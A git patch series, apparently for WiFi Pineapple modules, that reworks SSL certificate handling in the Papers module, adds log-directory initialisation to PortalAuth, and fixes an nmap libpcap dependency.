+ if "ssl_certificate" in line: + i = line.rfind("/") + certs.append(line[i+1:].strip(";\n")) + + return certs + + + def getServerBlockIndex(self): + index = 0 + for line in self.lines: + if ("listen" in line) and not ("80" in line or "443" in line): + return index + index = index + 1 + + return False + + + def checkSSLConfigStatus(self): + index = self.serverBlockIndex + for line in self.lines[index:]: + if "1471 ssl;" in line: + return True + + return False + + + def addSSLConfig(self, keyName): + + # Check if SSL has already been configured for port 1471 + if self.checkSSLConfigStatus(): + return True + + index = 0 + cert = keyName + ".cer" + key = keyName + ".key" + + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index == self.serverBlockIndex: + line = "\t\tlisten\t1471 ssl;\n" + + if index > self.serverBlockIndex: + if "root /pineapple/;" in line: + self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" + "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" + "\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n") + index = index + 1 + out.write(line) + call(["/etc/init.d/nginx", "reload"]) + + return True + + def replaceSSLConfig(self, newKey): + cert = newKey + ".cer" + key = newKey + ".key" + currentKey = self.currentSSLCerts[0].rsplit(".")[0] + index = 0 + + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index > self.serverBlockIndex: + if (currentKey + ".cer") in line: + line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" + + if (currentKey + ".key") in line: + line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" + + index = index + 1 + out.write(line) + + call(["/etc/init.d/nginx", "reload"]) + + + def removeSSLConfig(self): + index = 0 + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index == self.serverBlockIndex: + line = "\t\tlisten\t1471;\n" + + if index > self.serverBlockIndex: + if "ssl_certificate" in line or "ssl_protocols" in line: + continue + + index = index + 1 + out.write(line) + + call(["/etc/init.d/nginx", "reload"]) \ No newline at end of file diff --git a/Papers/includes/scripts/copyKeys.sh b/Papers/includes/scripts/copyKeys.sh index 4b7f30d..b100a54 100755 --- a/Papers/includes/scripts/copyKeys.sh +++ b/Papers/includes/scripts/copyKeys.sh @@ -3,8 +3,8 @@ # Author: sud0nick # Date: Jan 2016 -if ! cp $1.pem /etc/nginx/ssl/; then - echo "Failed to copy $1.pem to /etc/nginx/ssl/"; +if ! cp $1.key /etc/nginx/ssl/; then + echo "Failed to copy $1.key to /etc/nginx/ssl/"; fi if ! cp $1.cer /etc/nginx/ssl/; then diff --git a/Papers/includes/scripts/encryptKeys.sh b/Papers/includes/scripts/encryptKeys.sh index bdb3f5c..918a945 100755 --- a/Papers/includes/scripts/encryptKeys.sh +++ b/Papers/includes/scripts/encryptKeys.sh @@ -90,7 +90,7 @@ done; # Generate a password on the private key if [ $ENCRYPT_KEYS = true ]; then - openssl rsa -$ALGO -in $ssl_store$KEY.pem -out $ssl_store$KEY.pem -passout pass:"$PASS"; + openssl rsa -$ALGO -in $ssl_store$KEY.key -out $ssl_store$KEY.key -passout pass:"$PASS"; fi # If a container type is present but not an algo or pass then use @@ -104,7 +104,7 @@ if [ -n "$CONTAINER" ]; then fi # Generate a container for the public and private keys - openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.pem -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS"; + openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.key -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS"; fi echo "Complete" diff --git a/Papers/includes/scripts/genSSHKeys.sh b/Papers/includes/scripts/genSSHKeys.sh index f3beef0..674d8fa 100755 --- a/Papers/includes/scripts/genSSHKeys.sh +++ b/Papers/includes/scripts/genSSHKeys.sh @@ -55,5 +55,5 @@ if [[ -z $KEYNAME ]]; then exit; fi -ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.pem -C $COMMENT -mv $SSH_STORE$KEYNAME.pem.pub $SSH_STORE$KEYNAME.pub +ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.key -C $COMMENT +mv $SSH_STORE$KEYNAME.key.pub $SSH_STORE$KEYNAME.pub diff --git a/Papers/includes/scripts/readKeys.sh b/Papers/includes/scripts/readKeys.sh index cd70ec9..5ea9f77 100755 --- a/Papers/includes/scripts/readKeys.sh +++ b/Papers/includes/scripts/readKeys.sh @@ -11,7 +11,7 @@ while read p; do IN_SERVER_BLOCK=true; fi else - if [[ $p == *".cer;" || $p == *".pem;" ]]; then + if [[ $p == *".cer;" || $p == *".key;" ]]; then echo $p | cut -d '/' -f 5 | tr -d ';'; fi fi diff --git a/Papers/includes/scripts/ssl.cnf b/Papers/includes/scripts/ssl.cnf new file mode 100644 index 0000000..a8e4c6c --- /dev/null +++ b/Papers/includes/scripts/ssl.cnf @@ -0,0 +1,17 @@ +[req] +prompt = no +distinguished_name = req_distinguished_name +x509_extensions = req_ext + +[req_distinguished_name] +organizationName = :ORG: +organizationalUnitName = :OU: +localityName = :LOC: +stateOrProvinceName = :ST: +countryName = :C: +commonName = :COM: + +[req_ext] +subjectAltName = @alt_names + +[alt_names] \ No newline at end of file diff --git a/Papers/includes/scripts/testEncrypt.sh b/Papers/includes/scripts/testEncrypt.sh index 10821e1..bffb14f 100755 --- a/Papers/includes/scripts/testEncrypt.sh +++ b/Papers/includes/scripts/testEncrypt.sh @@ -23,7 +23,7 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-k" ]]; then - KEY="$2.pem" + KEY="$2.key" fi if [[ "$1" == "-d" ]]; then KEYDIR="$2" diff --git a/Papers/includes/scripts/unpackKeyArchive.sh b/Papers/includes/scripts/unpackKeyArchive.sh index a4c9240..d409d48 100755 --- a/Papers/includes/scripts/unpackKeyArchive.sh +++ b/Papers/includes/scripts/unpackKeyArchive.sh @@ -39,14 +39,14 @@ output=$(unzip $FILE.zip -d $DL_DIR); # keys are destined for the SSH directory if [[ $output == *".pub"* ]]; then mv $FILE.pub /pineapple/modules/Papers/includes/ssh/ - mv $FILE.pem /pineapple/modules/Papers/includes/ssh/ + mv $FILE.key /pineapple/modules/Papers/includes/ssh/ fi # If the archive contained a .cer these # keys are destined for the SSL directory if [[ $output == *".cer"* ]]; then mv $FILE.cer /pineapple/modules/Papers/includes/ssl/ - mv $FILE.pem /pineapple/modules/Papers/includes/ssl/ + mv $FILE.key /pineapple/modules/Papers/includes/ssl/ fi # Clear the download directory diff --git a/Papers/js/module.js b/Papers/js/module.js index d5d63fa..c1b8e50 100755 --- a/Papers/js/module.js +++ b/Papers/js/module.js @@ -5,6 +5,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.certBitSize = "2048"; $scope.certDaysValid = "365"; $scope.certSigAlgo = "sha256"; + $scope.certSANs = ""; $scope.certKeyName = ""; $scope.modifyCertInfo = false; $scope.certInfoCountry = ""; @@ -130,6 +131,9 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct if ($scope.certDaysValid != ''){ params['days'] = $scope.certDaysValid; } + if ($scope.certSANs != '') { + params['sans'] = $scope.certSANs; + } if ($scope.certEncryptKeysBool === true) { params['encrypt'] = ""; params['algo'] = $scope.certEncryptAlgo; @@ -168,6 +172,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.certDaysValid = "365"; $scope.certBitSize = "2048"; $scope.certSigAlgo = "sha256"; + $scope.certSANs = ""; $scope.certKeyName = ""; $scope.certInfoCountry = ""; $scope.certInfoState = ""; @@ -251,7 +256,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct params: {cert,type} },function(response) { $scope.showCertThrobber = false; - if (response.success === true) { + if (response.error === "HTTP Error") { // Redirect if key type is TLS/SSL if (type == "TLS/SSL") { $scope.redirect("https"); @@ -297,7 +302,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.showRemoveSSLButton = true; $scope.refresh(); - if (response.success === true) { + if (response.error === "HTTP Error") { $scope.redirect("http"); } else { } @@ -399,7 +404,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $http.post("/modules/Papers/api/module.php", fd, { transformRequest: angular.identity, headers: {'Content-Type': undefined} - }).success(function(response) { + }).then(function(response) { for (var key in response) { if (response.hasOwnProperty(key)) { if (response.key == "Failed") { @@ -413,7 +418,23 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct }); }); + $scope.init = (function(){ + $api.request({ + module: 'Papers', + action: 'init' + },function(response){ + if (response.success == false) { + if (response.message != '') { + $scope.getLogs(); + } else { + alert(response.message); + } + } + }); + }); + // Init + $scope.init(); $scope.checkDepends(); $scope.refresh(); }]) diff --git a/Papers/module.html b/Papers/module.html index d8f086f..2d0cade 100755 --- a/Papers/module.html +++ b/Papers/module.html @@ -209,43 +209,50 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
+
+ +
+ +
+
+
-
+
-
+
-
+
-
+
-
+
-
+
diff --git a/Papers/module.info b/Papers/module.info index 80e5b6f..11d547d 100755 --- a/Papers/module.info +++ b/Papers/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Papers", - "version": "1.4" + "version": "1.5" } \ No newline at end of file diff --git a/PortalAuth/README.md b/PortalAuth/README.md deleted file mode 100755 index 0c64461..0000000 --- a/PortalAuth/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# PortalAuth -Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA diff --git a/PortalAuth/api/module.php b/PortalAuth/api/module.php index 2fcfd36..f1d04a6 100755 --- a/PortalAuth/api/module.php +++ b/PortalAuth/api/module.php @@ -94,6 +94,9 @@ class PortalAuth extends Module { public function route() { switch($this->request->action) { + case 'init': + $this->init(); + break; case 'depends': $this->depends($this->request->params); break; @@ -224,6 +227,19 @@ class PortalAuth extends Module } } + /* ============================ */ + /* INIT FUNCTIONS */ + /* ============================ */ + + private function init() { + if (!file_exists(__LOGS__)) { + if (!mkdir(__LOGS__, 0755, true)) { + $this->respond(false, "Failed to create logs directory"); + return false; + } + } + } + //============================// // DEPENDENCY FUNCTIONS // //============================// diff --git a/PortalAuth/js/module.js b/PortalAuth/js/module.js index cd997a5..3eb7300 100755 --- a/PortalAuth/js/module.js +++ b/PortalAuth/js/module.js @@ -640,7 +640,7 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval $http.post("/modules/PortalAuth/api/module.php", fd, { transformRequest: angular.identity, headers: {'Content-Type': undefined} - }).success(function(response) { + }).then(function(response) { for (var key in response) { if (response.hasOwnProperty(key)) { if (response.key == "Failed") { @@ -716,8 +716,25 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval $interval.cancel($scope.stop); $scope.stop = undefined; }); - + + // Init + $scope.init = (function(){ + $api.request({ + module: 'PortalAuth', + action: 'init' + },function(response){ + if (response.success == false) { + if (response.message != '') { + $scope.getLogs(); + } else { + alert(response.message); + } + } + }); + }); + // Init functions + $scope.init(); $scope.depends("-check"); $scope.isOnline(); $scope.checkTestServerConfig(); diff --git a/PortalAuth/module.info b/PortalAuth/module.info index 9161697..66cf489 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Portal Auth", - "version": "1.4" + "version": "1.5" } \ No newline at end of file From c3071f99226a6fb0f01a8cc2b965adba7cf4341f Mon Sep 17 00:00:00 2001 From: Henry Pitcairn <735tesla@gmail.com> Date: Wed, 10 Jan 2018 01:39:00 -0500 Subject: [PATCH 2/3] Modify nmap to symlink libpcap and fix dependency issue --- nmap/api/module.php | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nmap/api/module.php b/nmap/api/module.php index 259c0eb..2ba1ae3 100644 --- a/nmap/api/module.php +++ b/nmap/api/module.php @@ -61,6 +61,9 @@ class nmap extends Module private function handleDependencies() { + if (!file_exists("/usr/lib/libpcap.so.1.3") && file_exists("/usr/lib/libpcap.so")) { + symlink("/usr/lib/libpcap.so", "/usr/lib/libpcap.so.1.3"); + } if(!$this->checkDependency("nmap")) { $this->execBackground("/pineapple/modules/nmap/scripts/dependencies.sh install ".$this->request->destination); From a72ce33eed3ef08f6d10c8097e35704d7e388ff6 Mon Sep 17 00:00:00 2001 From: Henry Pitcairn <735tesla@gmail.com> Date: Wed, 10 Jan 2018 01:44:24 -0500 Subject: [PATCH 3/3] Bump nmap version number --- nmap/module.info | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nmap/module.info b/nmap/module.info index 4e04263..3858736 100644 --- a/nmap/module.info +++ b/nmap/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "nmap", - "version": "1.4" + "version": "1.5" } \ No newline at end of file